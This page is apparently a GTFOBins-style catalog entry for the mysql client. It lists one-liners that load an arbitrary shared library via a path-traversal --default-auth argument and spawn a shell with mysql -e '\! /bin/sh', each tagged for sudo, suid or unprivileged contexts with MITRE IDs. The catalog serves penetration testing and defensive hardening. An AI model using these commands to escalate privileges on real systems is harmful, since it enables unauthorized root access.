CatalogGTFOBins

GTFO · Tool

mysql

6 techniquesLinuxGTFOBinsGPL-3.0

library-load

Library LoadPrivilege EscalationLinux

The following loads the `/path/to/lib.so` shared object.

mysql --default-auth ../../../../../path/to/lib
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
library-load
MITRE
T1574

library-load

Library LoadPrivilege EscalationLinux

The following loads the `/path/to/lib.so` shared object.

mysql --default-auth ../../../../../path/to/lib
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
library-load
MITRE
T1574

library-load

Library LoadLinux

The following loads the `/path/to/lib.so` shared object.

mysql --default-auth ../../../../../path/to/lib
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
library-load
MITRE
T1574

shell

ExecutionPrivilege EscalationLinux
mysql -e '\! /bin/sh'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
mysql -e '\! /bin/sh'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
mysql -e '\! /bin/sh'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059